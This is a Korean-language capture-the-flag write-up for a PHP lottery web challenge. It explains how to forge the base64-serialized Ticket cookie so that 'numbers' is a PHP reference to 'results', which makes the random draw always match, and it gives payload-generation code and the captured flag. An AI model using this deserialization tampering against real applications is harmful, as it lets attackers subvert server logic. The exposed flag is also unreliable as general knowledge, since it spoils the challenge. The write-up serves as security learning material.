풀이

  1. 승리조건 확인
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if ($win) {
	echo "You win! get the flag: ";
	$fp = fopen("/flag.txt", "r");
	echo fgets($fp) . "<br>";
	fclose($fp);
} else {
	echo "Too bad.. maybe next time<br>";
}

if ($ticket->results[$i] === $ticket->numbers[$i]) # 성립 시 승리
  1. 뽑은 값과 결과값 동일해야 승리: 아래와 같이 결과값 결정
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$results = draw(45, 6);
for ($i = 0; $i < 6; $i++) {
	$ticket->results[$i] = $results[$i];
}

if (isset($_COOKIE['ticket'])) {
	$ticket_exist = true;
} else {
	$ticket = new Ticket();
	$ticket->issue();
	setcookie('ticket', base64_encode(serialize($ticket)));
}
  1. ticket이 없을 때 draw: 새로운 티켓 형성한 뒤 ticket이름으로 쿠키값 저장

  2. result.php에서 결과값 비교

  3. 목표: 내가 뽑은 값과 result.php가 뽑을 값을 같게 만들기

  4. 그러나 서버 draw는 랜덤 -> 값을 예측해서 맞추는 건 불가능

  5. 통제 가능한 건 쿠키(직렬화된 Ticket 객체) -> 값뿐 아니라 numbers와 results의 관계까지 내가 설계 가능

  6. PHP 직렬화는 참조(reference)도 표현함 -> R:n

    • numbers를 results의 참조로 만들면 둘이 같은 배열 하나를 가리킴
  7. 서버가 $ticket->results[$i] = $results[$i]로 draw를 쓰는 순간 numbers도 같이 바뀜

    • 비교되는 두 대상이 물리적으로 동일 -> 서버가 뭘 뽑든 항상 일치
  8. 페이로드 생성 (로컬 php 없으면 docker php:8.1-cli)

    1
    2
    3
    4
    
    $t = new Ticket();
    $t->results = [1,2,3,4,5,6];
    $t->numbers = &$t->results;   // numbers를 results의 참조로
    echo base64_encode(serialize($t));
    
  9. 이 base64를 ticket 쿠키 값으로 넣고 result.php 요청

    • 서버가 unserialize하며 참조 관계까지 복원 -> numbers와 results가 서버 안에서 같은 배열 공유
    • flag: DH{91dff778784975c68312aef0ffcb1c44782da5664d9ea8369d3b70b87fb97214}

배운 점

  • 직렬화/serialize(): 메모리 속 객체를 문자열로 누른 다음, 나중에 다시 객체로 되살릴 수 있게 만들기
  • base64: 문자열을 안전한 문자로 포장
    • 보낼 때: 객체 → serialize() → 문자열 → base64_encode → 쿠키
    • 받을 때: 쿠키 → base64_decode → 문자열 → unserialize() → 객체